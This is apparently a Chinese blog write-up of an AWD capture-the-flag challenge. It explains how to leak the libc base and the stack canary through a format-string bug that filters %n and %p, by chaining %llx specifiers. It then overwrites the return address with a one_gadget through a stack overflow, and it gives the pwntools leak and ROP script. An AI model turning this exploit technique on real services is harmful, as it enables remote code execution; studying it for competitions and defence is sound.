记一次格式化字符串限制n、p情况下的leak思路

歪打正着做出来了,记录一下

是个AWD的题目,heap部分逻辑有点复杂,这篇文章主要记录格式化字符串,所以其他的暂时不看了。

如上所示格式化字符串限制了n、p,后面紧跟栈溢出,思路很简单,格式化字符串leak libc以及canary然后栈溢出改ret为one_gadget,问题就在leak,首先栈上能leak的范围没有libc_start_main,其次n被限制。

既然不能用n和p,我们就只能一个个的llx来leak了,一开始以为这里是栈地址,后面发现是libc地址,调试一下看看:

可以看到寄存器里面有libc地址,并且x64的前6个参数都是在寄存器,所以可以leak libc。但是不知道为什么第一个leak出来的地址算libc不对,用第二个。

canary在栈中如上,也是只能一个个的去leak,我首先是用了18个%llx发现第17个就是canary(之前用“%llx.”,比较好区分,但是这样会有5个字节,它本身也要占空间,read只能读取0x50字节,所以是leak不到的),那就16个%llx+‘aaaa’+%llx,aaaa作为标志去接收canary。

还是要解释一下,我们认为8个字节占一个”栈空间”,当用18个%llx的时候就是占了9个栈空间,此时第17个是canary,那我们16个%llx,加上aaaa以及%llx,还是占了9个栈空间,所以Canary还是第17个,并且aaaa后面是第17个%llx因此可leak出第17个数据也就是canary。

因此leak脚本如下:

###leak libc&&canary###
sla('O','1')
sla('O.','1')
sla('Exit.','2')

gdb.attach(p,'b *printf')

payload = '%llx' * 16 + 'aaaa' + '%llx'
#leak libc&&canary,aaaa作为标志接收canary。
sla('let me know:',payload)

ru('it.\n')
rv(12)
#用第二个libc的地址计算,先把第一个跳过。
libc_base = int('0x' + str(rv(12)),16) - 0x3c6780

ru('aaaa')
#aaaa作为标志接收canary。
canary = int('0x' + str(rv(16)),16)

success('libc base:'+hex(libc_base))
success('Canary:'+hex(canary))

后面就是简单栈溢出了,脚本如下:

###ROP###
one = libc_base + 0xf02a4

payload = 'A' * (0x60 - 0x8) + p64(canary) + 'deadbeef' + p64(one)
sda('let me know:\n',payload)

###get shell###
ia()

这题的启示就是,没有办法用%n的时候,去看一下在读取字节范围内能不能leak到libc_start_main,如果不行的话看一下寄存器中有没有可以leak的地址。

Leave a Reply

Your email address will not be published. Required fields are marked *

4 × five =